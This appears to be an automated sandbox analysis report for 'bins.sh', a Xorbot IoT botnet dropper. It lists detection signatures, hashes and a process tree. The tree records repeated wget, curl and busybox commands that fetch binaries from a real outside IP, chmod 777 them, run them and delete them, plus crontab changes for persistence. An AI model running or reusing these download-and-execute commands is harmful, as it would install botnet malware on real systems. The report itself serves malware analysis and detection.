Analysis

  • max time kernel
    149s
  • max time network
    99s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    13/03/2025, 01:12

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    2d3354e4454c0aa1442c15ae4db570d7

  • SHA1

    fa41bc59a61d70fed29d83a9fadcaf5f29a0306c

  • SHA256

    a6be12c3c8dd2355975f18dbeb450c1130df50f893548282b427c4933e1f15cf

  • SHA512

    95586720bce8db9d47b64c0e4555ba8d6dbc2899295a18ef6cd7f80558ee39e4088f3b66a22e49846ab83dc5d6a5a07604f5b0ed412b9b40a3ff9867498d8e09

  • SSDEEP

    192:vT3jmvfO3m3C3x3+3e35BNkJpg35J5B5uFpYb+2va224Gm6eQmp9lLWLqLzm+B+k:vT3jmvfO3m3C3x3+3e35BNkJpg3bvJb7

Malware Config

Signatures

  • Detects Xorbot 2 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:717
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:720
      • /usr/bin/wget
        wget http://77.90.153.218/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
          PID:722
        • /usr/bin/curl
          curl -O http://77.90.153.218/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
          2⤵
          • Reads runtime system information
          PID:732
        • /bin/busybox
          /bin/busybox wget http://77.90.153.218/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
          2⤵
            PID:742
          • /bin/chmod
            chmod 777 tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
            2⤵
            • File and Directory Permissions Modification
            PID:745
          • /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
            ./tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
            2⤵
              PID:747
            • /bin/rm
              rm tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
              2⤵
                PID:748
              • /usr/bin/wget
                wget http://77.90.153.218/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
                2⤵
                  PID:749
                • /usr/bin/curl
                  curl -O http://77.90.153.218/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
                  2⤵
                    PID:752
                  • /bin/busybox
                    /bin/busybox wget http://77.90.153.218/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
                    2⤵
                      PID:753
                    • /bin/chmod
                      chmod 777 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
                      2⤵
                      • File and Directory Permissions Modification
                      PID:754
                    • /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
                      ./59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
                      2⤵
                        PID:755
                      • /bin/rm
                        rm 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
                        2⤵
                          PID:756
                        • /usr/bin/wget
                          wget http://77.90.153.218/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                          2⤵
                            PID:757
                          • /usr/bin/curl
                            curl -O http://77.90.153.218/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                            2⤵
                              PID:758
                            • /bin/busybox
                              /bin/busybox wget http://77.90.153.218/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                              2⤵
                                PID:759
                              • /bin/chmod
                                chmod 777 l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                                2⤵
                                • File and Directory Permissions Modification
                                PID:760
                              • /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                                ./l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                                2⤵
                                  PID:761
                                • /bin/rm
                                  rm l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                                  2⤵
                                    PID:762
                                  • /usr/bin/wget
                                    wget http://77.90.153.218/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                                    2⤵
                                      PID:763
                                    • /usr/bin/curl
                                      curl -O http://77.90.153.218/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                                      2⤵
                                      • Reads runtime system information
                                      PID:764
                                    • /bin/busybox
                                      /bin/busybox wget http://77.90.153.218/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                                      2⤵
                                        PID:773
                                      • /bin/chmod
                                        chmod 777 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:776
                                      • /tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                                        ./1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                                        2⤵
                                          PID:779
                                        • /bin/rm
                                          rm 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                                          2⤵
                                            PID:781
                                          • /usr/bin/wget
                                            wget http://77.90.153.218/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                                            2⤵
                                            • System Network Configuration Discovery
                                            PID:784
                                          • /usr/bin/curl
                                            curl -O http://77.90.153.218/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                                            2⤵
                                            • Reads runtime system information
                                            • System Network Configuration Discovery
                                            PID:789
                                          • /bin/busybox
                                            /bin/busybox wget http://77.90.153.218/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                                            2⤵
                                            • System Network Configuration Discovery
                                            PID:796
                                          • /bin/chmod
                                            chmod 777 z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:800
                                          • /tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                                            ./z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                                            2⤵
                                            • System Network Configuration Discovery
                                            PID:802
                                          • /bin/rm
                                            rm z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                                            2⤵
                                            • System Network Configuration Discovery
                                            PID:805
                                          • /usr/bin/wget
                                            wget http://77.90.153.218/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                                            2⤵
                                              PID:807
                                            • /usr/bin/curl
                                              curl -O http://77.90.153.218/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                                              2⤵
                                              • Reads runtime system information
                                              PID:815
                                            • /bin/busybox
                                              /bin/busybox wget http://77.90.153.218/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:821
                                            • /bin/chmod
                                              chmod 777 kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:823
                                            • /tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                                              ./kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                                              2⤵
                                                PID:824
                                              • /bin/rm
                                                rm kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                                                2⤵
                                                  PID:826
                                                • /usr/bin/wget
                                                  wget http://77.90.153.218/bins/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:827
                                                • /usr/bin/curl
                                                  curl -O http://77.90.153.218/bins/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                                                  2⤵
                                                  • Reads runtime system information
                                                  • Writes file to tmp directory
                                                  PID:828
                                                • /bin/busybox
                                                  /bin/busybox wget http://77.90.153.218/bins/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:829
                                                • /bin/chmod
                                                  chmod 777 MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:830
                                                • /tmp/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                                                  ./MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                                                  2⤵
                                                  • Renames itself
                                                  • Reads runtime system information
                                                  PID:831
                                                  • /bin/sh
                                                    sh -c "crontab -l"
                                                    3⤵
                                                      PID:833
                                                      • /usr/bin/crontab
                                                        crontab -l
                                                        4⤵
                                                          PID:834
                                                      • /bin/sh
                                                        sh -c "crontab -"
                                                        3⤵
                                                          PID:835
                                                          • /usr/bin/crontab
                                                            crontab -
                                                            4⤵
                                                            • Creates/modifies Cron job
                                                            • Reads runtime system information
                                                            PID:836
                                                      • /bin/rm
                                                        rm MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                                                        2⤵
                                                          PID:838
                                                        • /usr/bin/wget
                                                          wget http://77.90.153.218/bins/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                                          2⤵
                                                            PID:841
                                                          • /usr/bin/curl
                                                            curl -O http://77.90.153.218/bins/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                                            2⤵
                                                              PID:844
                                                            • /bin/busybox
                                                              /bin/busybox wget http://77.90.153.218/bins/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:846
                                                            • /bin/chmod
                                                              chmod 777 y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:856
                                                            • /tmp/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                                              ./y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                                              2⤵
                                                                PID:858
                                                              • /bin/rm
                                                                rm y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                                                2⤵
                                                                  PID:861
                                                                • /usr/bin/wget
                                                                  wget http://77.90.153.218/bins/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                                                  2⤵
                                                                    PID:862
                                                                  • /usr/bin/curl
                                                                    curl -O http://77.90.153.218/bins/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                                                    2⤵
                                                                      PID:865
                                                                    • /bin/busybox
                                                                      /bin/busybox wget http://77.90.153.218/bins/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                                                      2⤵
                                                                      • Writes file to tmp directory
                                                                      PID:868
                                                                    • /bin/chmod
                                                                      chmod 777 wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                                                      2⤵
                                                                      • File and Directory Permissions Modification
                                                                      PID:880
                                                                    • /tmp/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                                                      ./wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                                                      2⤵
                                                                        PID:882
                                                                      • /bin/rm
                                                                        rm wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                                                        2⤵
                                                                          PID:883
                                                                        • /usr/bin/wget
                                                                          wget http://77.90.153.218/bins/MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
                                                                          2⤵
                                                                            PID:884
                                                                          • /usr/bin/curl
                                                                            curl -O http://77.90.153.218/bins/MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
                                                                            2⤵
                                                                              PID:885

                                                                          Network

                                                                          MITRE ATT&CK Enterprise v15

                                                                          Replay Monitor

                                                                          Loading Replay Monitor...

                                                                          Downloads

                                                                          • /tmp/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA

                                                                            Filesize

                                                                            151KB

                                                                            MD5

                                                                            3c90d5820bddcf7c5d1bd21dfa49d958

                                                                            SHA1

                                                                            5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                                            SHA256

                                                                            bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                                            SHA512

                                                                            54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                                          • /tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX

                                                                            Filesize

                                                                            119KB

                                                                            MD5

                                                                            1b166b95f9cb4b079ef1b9ec8363ddf3

                                                                            SHA1

                                                                            0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                                            SHA256

                                                                            94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                                            SHA512

                                                                            983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                                                          • /tmp/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR

                                                                            Filesize

                                                                            98KB

                                                                            MD5

                                                                            5141342d0df8699fa32a6b066a0c592e

                                                                            SHA1

                                                                            8157673225bd5182f16215e2aa823a25ca2d4fbc

                                                                            SHA256

                                                                            54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                                                            SHA512

                                                                            d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                                                          • /tmp/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q

                                                                            Filesize

                                                                            151KB

                                                                            MD5

                                                                            6c583043d91c55aa470c08c87058e917

                                                                            SHA1

                                                                            abf65a5b9bba69980278ad09356e53de8bb89439

                                                                            SHA256

                                                                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                                            SHA512

                                                                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                                                          • /var/spool/cron/crontabs/tmp.5JzmId

                                                                            Filesize

                                                                            210B

                                                                            MD5

                                                                            a19ce7ee62086f2310e6b37f11a3fc8d

                                                                            SHA1

                                                                            d03a3c3a75993cc5968ca7a7d95041cc09395894

                                                                            SHA256

                                                                            5f864785d6a762a0cdb8c9a62500e64d03163603c3d48b3871c8d28041f4255b

                                                                            SHA512

                                                                            313b1f9cfd80ec39f97b5920917cbddf5a22a848d04eb3c4b430a13de9d2fe98411ecf999628ae012f78800b9b6c9e452e9a1c6f4653f2924a5ec4bf9fd93166